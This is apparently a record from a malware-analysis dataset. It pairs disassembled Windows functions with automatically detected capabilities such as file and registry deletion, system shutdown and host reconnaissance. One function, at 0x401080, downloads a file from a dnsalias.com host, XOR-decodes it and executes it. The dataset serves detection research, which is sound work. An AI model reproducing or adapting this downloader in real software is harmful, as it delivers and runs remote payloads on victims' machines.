joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4049b0
Capabilities:
Get hostname
Get session user name

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x438
mov eax, dword [0x40f384]
xor eax, esp
mov dword [esp + 0x434], eax
push ebx
xor ebx, ebx
push edi
mov ecx, esi
mov byte [esi + 0x1054], bl
call fcn.004046c0
lea ecx, [esi + 0xc20]
mov eax, ecx
lea edi, [eax + 2]
mov dx, word [eax]
add eax, 2
cmp dx, bx
jne 0x4049e6
sub eax, edi
sar eax, 1
je 0x404a03
lea eax, [esi + 0x1044]
push eax
call fcn.00404ba0
push 0x208
lea ecx, [esp + 0x22e]
push ebx
push ecx
mov word [esp + 0x234], bx
call sub.MSVCR80.dll_memset
add esp, 0xc
lea edx, [esp + 0xc]
push edx
lea eax, [esp + 0x22c]
mov edi, 0x104
push eax
mov dword [esp + 0x14], edi
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push 0x208
lea ecx, [esp + 0x1e]
push ebx
push ecx
mov word [esp + 0x43a], bx
mov word [esp + 0x24], bx
call sub.MSVCR80.dll_memset
add esp, 0xc
lea edx, [esp + 0xc]
push edx
lea eax, [esp + 0x1c]
push eax
mov dword [esp + 0x14], edi
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
mov eax, dword [esi + 0x1048]
cmp eax, ebx
lea edi, [esi + 0x1044]
mov word [esp + 0x21e], bx
je 0x404aa3
mov ecx, dword [edi + 8]
sub ecx, eax
mov eax, 0x9ad70599
imul ecx
add edx, ecx
sar edx, 0xa
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
jne 0x404ade
lea eax, [esp + 0x18]
lea edx, [eax + 2]
lea ebx, [ebx]
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x404ab0
sub eax, edx
sar eax, 1
push 1
add eax, 1
push eax
lea edx, [esp + 0x230]
push edx
push ebx
mov edx, edi
lea ecx, [esp + 0x28]
call fcn.00404450
jmp 0x404b7a
mov eax, dword [edi + 4]
cmp eax, ebx
je 0x404aff
mov ecx, dword [edi + 8]
sub ecx, eax
mov eax, 0x9ad70599
imul ecx
add edx, ecx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
jne 0x404b05
call dword [sym.imp.MSVCR80.dll__invalid_parameter_noinfo]
mov ebx, dword [edi + 4]
cmp byte [ebx + 0x69c], 1
je 0x404b44
mov eax, dword [edi + 8]
cmp ebx, eax
mov dword [esp + 0x10], eax
jbe 0x404b22
call dword [sym.imp.MSVCR80.dll__invalid_parameter_noinfo]
mov ebx, dword [edi + 4]
cmp ebx, dword [edi + 8]
jbe 0x404b30
call dword [sym.imp.MSVCR80.dll__invalid_parameter_noinfo]
mov ecx, dword [esp + 0x10]
push ecx
push edi
push ebx
push edi
lea edx, [esp + 0x20]
push edx
call fcn.00405b90
jmp 0x404b7a
lea eax, [esp + 0x228]
push eax
push ebx
call dword [sym.imp.MSVCR80.dll__wcsicmp]
add esp, 8
test eax, eax
jne 0x404b73
lea ecx, [esp + 0x18]
push ecx
add ebx, 0x280
push ebx
call dword [sym.imp.MSVCR80.dll__wcsicmp]
add esp, 8
test eax, eax
je 0x404b81
mov eax, edi
call fcn.00405990
mov byte [esi + 0x1054], 1
mov ecx, dword [esp + 0x43c]
pop edi
pop ebx
xor ecx, esp
call fcn.00409ed0
mov esp, ebp
pop ebp
ret
Function at 0x404ba0
Capabilities:
Read file on windows

Disassembly:
push 0xffffffffffffffff
push 0x40b1e0
mov eax, dword fs:[0]
push eax
sub esp, 0x60
push ebx
push ebp
push esi
push edi
mov eax, dword [0x40f384]
xor eax, esp
push eax
lea eax, [esp + 0x74]
mov dword fs:[0], eax
mov esi, ecx
xor edi, edi
cmp esi, edi
je 0x404da5
push edi
push 0x80
push 3
push edi
push edi
push 0x80000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x404da5
push edi
push edi
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [esp + 0x34], edi
mov dword [esp + 0x38], edi
mov dword [esp + 0x3c], edi
mov dword [esp + 0x7c], edi
push esi
lea edx, [esp + 0x18]
lea ecx, [esp + 0x28]
lea esi, [esp + 0x20]
mov dword [esp + 0x20], edi
mov dword [esp + 0x24], edi
mov dword [esp + 0x28], edi
mov dword [esp + 0x2c], edi
mov dword [esp + 0x18], edi
mov dword [esp + 0x1c], edi
call fcn.00404390
test al, al
je 0x404cad
mov esi, dword [esp + 0x1c]
mov ebp, dword [esp + 0x20]
mov ecx, esi
add ecx, 0xffffffff
mov eax, ebp
adc eax, 0xffffffff
cmp eax, edi
ja 0x404cad
jb 0x404c5c
cmp ecx, 0xffffe
ja 0x404cad
mov eax, esi
lea ecx, [esp + 0x30]
call fcn.00403160
mov eax, dword [esp + 0x34]
cmp eax, edi
mov dword [esp + 0x14], edi
je 0x404c7b
mov ecx, dword [esp + 0x38]
sub ecx, eax
jne 0x404c85
call dword [sym.imp.MSVCR80.dll__invalid_parameter_noinfo]
mov eax, dword [esp + 0x34]
push edi
lea edx, [esp + 0x18]
push edx
push esi
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [esp + 0x14]
xor ecx, ecx
cmp ecx, ebp
ja 0x404cad
jb 0x404ca4
cmp eax, esi
jae 0x404cad
lea ecx, [esp + 0x30]
call fcn.00403160
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [esp + 0x34]
cmp esi, edi
je 0x404da5
mov ebx, dword [esp + 0x38]
sub ebx, esi
jne 0x404cd6
push esi
call sub.MSVCR80.dll_void___cdecl_operator_delete_void__
add esp, 4
jmp 0x404da5
mov dword [esp + 0x44], edi
mov dword [esp + 0x48], edi
mov dword [esp + 0x4c], edi
lea eax, [esp + 0x50]
mov byte [esp + 0x7c], 1
call fcn.00406210
cmp ebx, edi
ja 0x404cfe
call dword [sym.imp.MSVCR80.dll__invalid_parameter_noinfo]
mov esi, dword [esp + 0x34]
lea eax, [esp + 0x40]
push eax
push esi
lea ecx, [esp + 0x58]
push ecx
mov ecx, ebx
call fcn.00406290
test al, al
je 0x404d93
mov ebx, dword [esp + 0x44]
cmp ebx, edi
mov ecx, dword [esp + 0x48]
jne 0x404d24
xor esi, esi
jmp 0x404d28
mov esi, ecx
sub esi, ebx
mov eax, 0x35ae0b31
mul esi
mov eax, esi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 0xa
imul eax, eax, 0x69d
sub esi, eax
jne 0x404d93
cmp ebx, edi
jne 0x404d4c
xor ecx, ecx
jmp 0x404d4e
sub ecx, ebx
mov eax, 0x35ae0b31
mul ecx
sub ecx, edx
shr ecx, 1
add ecx, edx
shr ecx, 0xa
mov esi, ecx
je 0x404d93
mov ebx, dword [esp + 0x84]
push esi
push ebx
call fcn.004057e0
imul esi, esi, 0x69d
push esi
lea esi, [esp + 0x44]
call fcn.00403230
push eax
xor edi, edi
mov esi, ebx
call fcn.004058b0
push eax
call sub.MSVCR80.dll_memcpy
add esp, 0xc
lea esi, [esp + 0x40]
call fcn.004057b0
lea esi, [esp + 0x30]
call fcn.004057b0
mov ecx, dword [esp + 0x74]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x6c
ret 4
Function at 0x405700
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push 0xffffffffffffffff
push 0x40b3d8
mov eax, dword fs:[0]
push eax
push ecx
push esi
mov eax, dword [0x40f384]
xor eax, esp
push eax
lea eax, [esp + 0xc]
mov dword fs:[0], eax
mov esi, ecx
push 0x4104f0
mov dword [esp + 0xc], 0x4104f0
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
test esi, esi
mov dword [esp + 0x14], 0
je 0x405767
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x405767
test al, 0x10
jne 0x405767
mov edx, esi
mov ecx, edi
call fcn.00405280
test al, al
push esi
jne 0x405785
push edi
call fcn.004054e0
push 0x4104f0
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor eax, eax
mov ecx, dword [esp + 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
add esp, 0x10
ret
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push 0x4104f0
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, esi
mov ecx, dword [esp + 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
add esp, 0x10
ret
Function at 0x4080b9
Capabilities:
Write file on windows

Disassembly:
push 0x48
mov eax, 0x40ad22
call fcn.0040a3f1
mov esi, ecx
xor ebx, ebx
cmp dword [esi + 0x3c], ebx
je 0x4081cb
cmp byte [esi + 0x42], bl
je 0x4081cb
mov eax, dword [esi]
mov edi, 0xffff
push edi
call dword [eax + 4]
movzx eax, ax
cmp ax, di
jne 0x4080f5
xor al, al
jmp 0x4081cd
push ebx
push 8
lea ecx, [ebp - 0x2c]
call fcn.00408093
mov dword [ebp - 4], ebx
lea eax, [ebp - 0x54]
push eax
lea ecx, [ebp - 0x2c]
call fcn.004035d0
mov ecx, eax
call fcn.00407967
mov edi, dword [ebp - 0x18]
mov ebx, eax
lea eax, [ebp - 0x3c]
push eax
lea ecx, [ebp - 0x2c]
call fcn.004035d0
mov ecx, eax
call fcn.00407967
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx]
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x30]
push eax
add edi, ebx
push edi
push dword [ebp - 0x34]
lea eax, [esi + 0x44]
push eax
call dword [edx + 0x18]
sub eax, 0
je 0x408165
dec eax
je 0x408169
dec eax
dec eax
je 0x4081c7
xor bl, bl
push 0
push 1
lea ecx, [ebp - 0x2c]
call fcn.00401f70
mov al, bl
jmp 0x4081cd
mov byte [esi + 0x42], 0
lea eax, [ebp - 0x4c]
push eax
lea ecx, [ebp - 0x2c]
call fcn.004035d0
mov ecx, eax
call fcn.00407967
mov edi, dword [ebp - 0x30]
sub edi, eax
je 0x4081a9
lea eax, [ebp - 0x44]
push eax
lea ecx, [ebp - 0x2c]
call fcn.004035d0
mov ecx, eax
call fcn.00407967
push dword [esi + 0x4c]
push edi
push 1
push eax
call sub.MSVCR80.dll_fwrite
add esp, 0x10
cmp edi, eax
jne 0x408153
cmp byte [esi + 0x42], 0
je 0x4081c7
test edi, edi
jne 0x408103
push edi
push 8
lea ecx, [ebp - 0x2c]
call fcn.00402940
jmp 0x408103
mov bl, 1
jmp 0x408155
mov al, 1
call fcn.0040a43b
ret

Function at 0x409ed0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40f384]
jne 0x409eda
repz ret
jmp fcn.0040a504
Function at 0x402d28
Capabilities:
Get process heap flags
Get process heap force flags

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
push 0
push 0
push 0
push ebx
push esi
test dl, dl
je 0x402d45
add esp, 0xfffffff0
call fcn.00401138
mov esi, ecx
mov byte [ebp - 1], dl
mov ebx, eax
xor eax, eax
push ebp
push 0x402e96
push dword fs:[eax]
mov dword fs:[eax], esp
xor edx, edx
mov eax, ebx
call fcn.004010e0
mov dword [ebx + 4], esi
lea eax, [ebx + 8]
call fcn.004011a0
lea edx, [ebp - 8]
mov eax, ebx
call fcn.00402c74
mov edx, dword [ebp - 8]
lea eax, [ebx + 0x14]
call fcn.004011b0
lea eax, [ebx + 0x18]
mov edx, 0x402ec8
call fcn.004011b0
lea eax, [ebx + 0x1c]
mov edx, 0x402ed8
call fcn.004011b0
lea eax, [ebx + 0x20]
mov edx, 0x402ef0
call fcn.004011b0
lea eax, [ebx + 0x2c]
mov edx, 0x402f08
call fcn.004011b0
lea eax, [ebx + 0x30]
mov edx, 0x402f18
call fcn.004011b0
lea eax, [ebx + 0x40]
call fcn.004011a0
lea eax, [ebx + 0x44]
call fcn.004011a0
lea edx, [ebp - 0xc]
mov eax, ebx
call fcn.00402f4c
lea eax, [ebp - 0xc]
push eax
lea edx, [ebp - 0x10]
mov eax, ebx
call fcn.0040390c
mov edx, dword [ebp - 0x10]
pop eax
call fcn.00401200
mov eax, dword [ebp - 0xc]
call fcn.00401a34
test al, al
je 0x402e0c
mov dl, 1
mov eax, ebx
call fcn.004038c0
jmp 0x402e15
xor edx, edx
mov eax, ebx
call fcn.004038c0
mov al, byte [ebp + 8]
mov byte [ebx + 0x48], al
test al, al
je 0x402e38
lea edx, [ebp - 0x14]
mov eax, ebx
call fcn.00402f4c
mov ecx, dword [ebp - 0x14]
mov edx, 0x402f28
mov eax, ebx
call fcn.004040dc
call fcn.00401840
mov dword [ebx + 0x38], eax
push 0x402f38
push 0
lea eax, [ebp - 0x18]
push eax
mov ecx, 0x402f44
mov edx, 0x402ec8
mov eax, ebx
call fcn.0040367c
mov edx, dword [ebp - 0x18]
mov eax, 0x402f38
call fcn.00401218
jne 0x402e74
mov byte [ebx + 0x19d], 1
jmp 0x402e7b
mov byte [ebx + 0x19d], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x402e9d
lea eax, [ebp - 0x18]
mov edx, 5
call fcn.004011a8
ret
Function at 0x401000
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ecx
mov eax, dword [esp + 0xc]
push esi
push edi
mov edi, dword [esp + 0x18]
push 0
push 0
push 0
push 0
push eax
mov dword [esp + 0x1c], 0
mov dword [edi], 0
call dword [sym.imp.WININET.dll_InternetOpenA]
mov ecx, dword [esp + 0x10]
push 0
push 0x80000000
push 0
mov esi, eax
push 0
push ecx
push esi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
test eax, eax
jne 0x401052
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
pop edi
xor eax, eax
pop esi
pop ecx
ret
lea edx, [esp + 8]
push edx
push 0x1770
push edi
push eax
call dword [sym.imp.WININET.dll_InternetReadFile]
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, dword [esp + 8]
pop edi
pop esi
pop ecx
ret

Function at 0x401080
Capabilities:
Check internet connectivity via wininet
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1b60
call fcn.004011b0
push ebx
push esi
push edi
push 0x104
mov dword [ebp - 4], 0
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ebx, eax
add esp, 4
mov ecx, 0x41
xor eax, eax
mov edi, ebx
push eax
rep stosd dword es:[edi], eax
lea eax, [ebp - 4]
push eax
push 0x104
push ebx
push 0x10000001
call sub.urlmon.dll_UrlMkGetSessionOption
mov esi, dword [sym.imp.WININET.dll_InternetCheckConnectionA]
push 0
push 1
push str.http:__www.baidu.com
call esi
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
test eax, eax
jne 0x4010f7
push 0x1388
call edi
push 0
push 1
push str.http:__www.baidu.com
call esi
test eax, eax
je 0x4010e1
lea ecx, [ebp - 0x1b60]
push ecx
push ebx
push str.http:__taobo.dnsalias.com_win1511enit.tmp
call fcn.00401000
mov esi, eax
add esp, 0xc
cmp esi, 0xa
jae 0x40111c
push 0x7530
call edi
jmp 0x4010f7
push esi
call sub.MSVCRT.dll_malloc
add esp, 4
mov dword [ebp - 8], eax
test esi, esi
mov dword [eax], 0
jbe 0x401147
lea edi, [ebp - 0x1b60]
mov ecx, eax
sub edi, eax
mov edx, esi
mov bl, byte [edi + ecx]
mov byte [ecx], bl
inc ecx
dec edx
jne 0x40113e
xor ecx, ecx
test esi, esi
jbe 0x40115b
mov bl, byte [ecx + eax]
xor bl, 0xac
mov byte [ecx + eax], bl
inc ecx
cmp ecx, esi
jb 0x40114d
xor ecx, ecx
test esi, esi
jbe 0x40116f
mov bl, byte [ecx + eax]
xor bl, 0x5c
mov byte [ecx + eax], bl
inc ecx
cmp ecx, esi
jb 0x401161
xor ecx, ecx
test esi, esi
jbe 0x401183
mov bl, byte [ecx + eax]
xor bl, 0xdd
mov byte [ecx + eax], bl
inc ecx
cmp ecx, esi
jb 0x401175
mov eax, dword [ebp - 8]
call eax
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x10
Function at 0x46217b
Capabilities:
Decompress data using aplib

Disassembly:
push ebp
mov ebp, esp
pushal
push ebp
mov esi, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add dl, dl
jne 0x462198
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x462189
add dl, dl
jne 0x4621a3
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x4621ef
xor eax, eax
add dl, dl
jne 0x4621b0
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x46228c
add dl, dl
jne 0x4621bf
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x4621ca
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x4621d5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x4621e0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x4621ea
push edi
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
jmp 0x46218f
mov eax, 1
add dl, dl
jne 0x4621fd
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x462208
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x4621f4
sub eax, 2
jne 0x462237
mov ecx, 1
add dl, dl
jne 0x46221d
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x462228
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x462214
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x46218f
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x46224e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x462259
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x462245
cmp eax, 0x7d00
jae 0x46227c
cmp eax, 0x500
jb 0x462277
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x46218f
cmp eax, 0x7f
ja 0x46227f
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x46218f
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x4622a8
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x46218f
pop ebp
sub edi, dword [ebp + 0xc]
mov dword [ebp - 4], edi
popal
pop ebp
ret
Function at 0x4026c0
Capabilities:
Set current directory

Disassembly:
sub esp, 0x108
push esi
push edi
mov edi, dword [esp + 0x114]
mov esi, ecx
push edi
push 0x4099a0
call fcn.00401730
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push 0x104
push edi
call dword [sym.imp.KERNEL32.dll_GetFullPathNameA]
lea edx, [esp + 0xc]
mov ecx, esi
push edx
call fcn.00401c20
mov byte [eax - 1], 0
lea eax, [esp + 0xc]
push eax
push 0x409178
mov ecx, esi
call fcn.00401730
lea ecx, [esp + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
pop edi
pop esi
add esp, 0x108
ret 4

Function at 0x402b80
Capabilities:
Delete file
Set file attributes

Disassembly:
sub esp, 0x88
push esi
mov esi, dword [esp + 0x90]
push edi
lea eax, [esp + 8]
push 0x4000
push eax
push esi
mov edi, ecx
mov byte [esp + 0x14], 0x88
call dword [sym.imp.KERNEL32.dll_OpenFile]
cmp eax, 0xffffffff
je 0x402bce
push eax
call dword [sym.imp.KERNEL32.dll__lclose]
push esi
mov ecx, edi
call fcn.00402aa0
push 0x80
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
pop edi
xor eax, eax
pop esi
add esp, 0x88
ret 4

Function at 0x402d60
Capabilities:
Enumerate files on windows

Disassembly:
sub esp, 0x248
mov eax, dword [esp + 0x24c]
push esi
mov esi, ecx
lea edx, [esp + 8]
push edi
mov dword [esp + 8], esi
sub edx, eax
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x402d7b
lea eax, [esp + 0xc]
mov ecx, esi
push eax
call fcn.00401c20
lea ecx, [esp + 0x110]
lea edx, [esp + 0xc]
push ecx
push edx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x402e17
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
call ebx
cmp eax, 0x12
je 0x402e0f
lea eax, [esp + 0x140]
push ebp
mov ebp, dword [esp + 0x264]
sub esi, eax
lea eax, [esp + 0x144]
mov cl, byte [eax]
mov byte [esi + eax], cl
inc eax
test cl, cl
jne 0x402ddb
mov ecx, dword [esp + 0x260]
lea edx, [esp + 0x14]
push ecx
mov ecx, dword [esp + 0x14]
push edx
call ebp
lea eax, [esp + 0x118]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
call ebx
cmp eax, 0x12
jne 0x402dd4
pop ebp
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
pop ebx
pop edi
pop esi
add esp, 0x248
ret 0xc
Function at 0x4037d0
Capabilities:
Shutdown system

Disassembly:
push 0xffffffffffffffff
push 0x406cdb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x484
push ebp
mov ebp, ecx
push esi
mov dword [esp + 8], ebp
push 0x40acd8
mov dword [esp + 0x498], 0
call fcn.00401d00
push 0x40acc8
mov ecx, ebp
call fcn.00401620
push eax
mov ecx, ebp
call fcn.004039c0
test eax, eax
jne 0x403871
mov al, byte [ebp + 0x5e5]
test al, al
je 0x403871
mov ecx, dword [ebp + 0x550]
lea eax, [esp + 0xc]
push 0x80
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0xc]
mov ecx, ebp
push edx
call fcn.00403f20
push 0x40acb4
mov ecx, ebp
call fcn.00401d00
push 0x40ac80
mov ecx, ebp
call fcn.00401d00
push 0x40ac64
mov ecx, ebp
call fcn.00401d00
push 0x40ac54
mov ecx, ebp
call fcn.00401620
mov cl, byte [ebp + 0x5e4]
test cl, cl
je 0x403981
mov esi, dword [sym.imp.MSVCRT.dll__mbsicmp]
test eax, eax
je 0x4038a8
push 0x40997c
push eax
call esi
add esp, 8
test eax, eax
je 0x403981
push 0x409980
mov ecx, ebp
call fcn.00401620
test eax, eax
je 0x4038cb
push 0x40997c
push eax
call esi
add esp, 8
test eax, eax
je 0x403969
push 0x40ac40
mov ecx, ebp
call fcn.00401620
test eax, eax
je 0x403906
push 0x40997c
push eax
call esi
add esp, 8
test eax, eax
jne 0x403906
push 0xa
mov ecx, ebp
call fcn.004014d0
lea edx, [esp + 0x8c]
mov cl, byte [eax]
inc eax
mov byte [edx], cl
inc edx
test cl, cl
jne 0x4038fa
jmp 0x40390e
mov byte [esp + 0x8c], 0
push edi
push 2
mov ecx, ebp
call fcn.004014d0
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x90]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 4
mov eax, ecx
mov esi, edi
mov edi, edx
mov edx, eax
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp + 0x54c]
mov ecx, edx
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x98]
push ecx
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
cmp eax, 6
pop edi
jne 0x403981
push 1
push 0x40ac2c
mov ecx, ebp
call fcn.00403750
push 0
push 2
call dword [sym.imp.USER32.dll_ExitWindowsEx]
mov ecx, ebp
mov dword [esp + 0x494], 0xffffffff
call fcn.004015a0
mov ecx, dword [esp + 0x48c]
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x490
ret
Function at 0x4039f0
Capabilities:
Get file version info

Disassembly:
sub esp, 8
lea eax, [esp + 0xc]
push ebp
mov ebp, dword [esp + 0x10]
push esi
push eax
push ebp
call sub.VERSION.dll_GetFileVersionInfoSizeA
mov esi, eax
test esi, esi
jne 0x403a14
pop esi
mov al, 1
pop ebp
add esp, 8
ret 0xc
push ebx
push edi
push esi
xor bl, bl
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ecx, dword [esp + 0x20]
add esp, 4
mov edi, eax
push edi
push esi
push ecx
push ebp
call sub.VERSION.dll_GetFileVersionInfoA
test eax, eax
je 0x403a69
lea edx, [esp + 0x14]
lea eax, [esp + 0x10]
push edx
push eax
push 0x40acfc
push edi
call sub.VERSION.dll_VerQueryValueA
test eax, eax
je 0x403a69
mov edx, dword [esp + 0x10]
mov ecx, dword [esp + 0x20]
mov eax, dword [edx + 8]
cmp eax, ecx
jb 0x403a69
jne 0x403a6b
mov ecx, dword [edx + 0xc]
mov eax, dword [esp + 0x24]
cmp ecx, eax
jae 0x403a6b
mov bl, 1
push edi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov al, bl
pop edi
pop ebx
pop esi
pop ebp
add esp, 8
ret 0xc

Function at 0x403f20
Capabilities:
Delete directory
Delete file
Get file attributes
Set file attributes

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
mov esi, ecx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0x10
push edi
jne 0x403f40
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
pop edi
pop esi
ret 4
mov ecx, esi
call fcn.00404020
test al, al
jne 0x403f52
pop edi
xor eax, eax
pop esi
ret 4
push 0x80
push edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x403f8c
push eax
push edi
mov ecx, esi
call fcn.00404060
mov dl, byte [esi + 0x5e4]
pop edi
or dl, al
mov al, dl
mov byte [esi + 0x5e4], dl
and eax, 0xff
pop esi
ret 4
pop edi
mov eax, 1
pop esi
ret 4
Function at 0x4042d0
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
sub esp, 0x114
mov eax, dword [esp + 0x11c]
push ebx
push ebp
lea edx, [esp + 0x1c]
push esi
push edi
mov ebx, ecx
mov dword [esp + 0x10], 0
sub edx, eax
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x4042f1
lea edi, [esp + 0x24]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x24]
repne scasb al, byte es:[edi]
mov ax, word [0x40acfc]
or ecx, 0xffffffff
mov word [edi - 1], ax
mov edi, dword [esp + 0x130]
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x14]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov edi, dword [esp + 0x12c]
push 0xf003f
lea ecx, [esp + 0x2c]
push 0
push ecx
push edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40440e
lea edx, [esp + 0x1c]
lea ecx, [esp + 0x10]
push edx
push eax
push eax
push eax
mov edx, dword [esp + 0x24]
push eax
push eax
lea eax, [esp + 0x30]
push eax
push ecx
push 0
push 0
push 0
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
test eax, eax
jne 0x404403
mov eax, dword [esp + 0x10]
test eax, eax
jbe 0x404403
mov esi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
mov ebp, 0x80
lea eax, [esp + 0x1c]
lea ecx, [esp + 0x18]
push eax
mov eax, dword [esp + 0x14]
push 0
push 0
push 0
lea edx, [esp + 0xb4]
push ecx
mov ecx, dword [esp + 0x28]
dec eax
push edx
push eax
push ecx
mov dword [esp + 0x38], ebp
call esi
lea edx, [esp + 0xa4]
lea eax, [esp + 0x24]
push edx
push eax
push edi
mov ecx, ebx
call fcn.004042d0
test eax, eax
jne 0x4043f8
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0xa4]
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov eax, dword [esp + 0x10]
dec eax
mov dword [esp + 0x10], eax
jne 0x4043a3
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x114
ret 0xc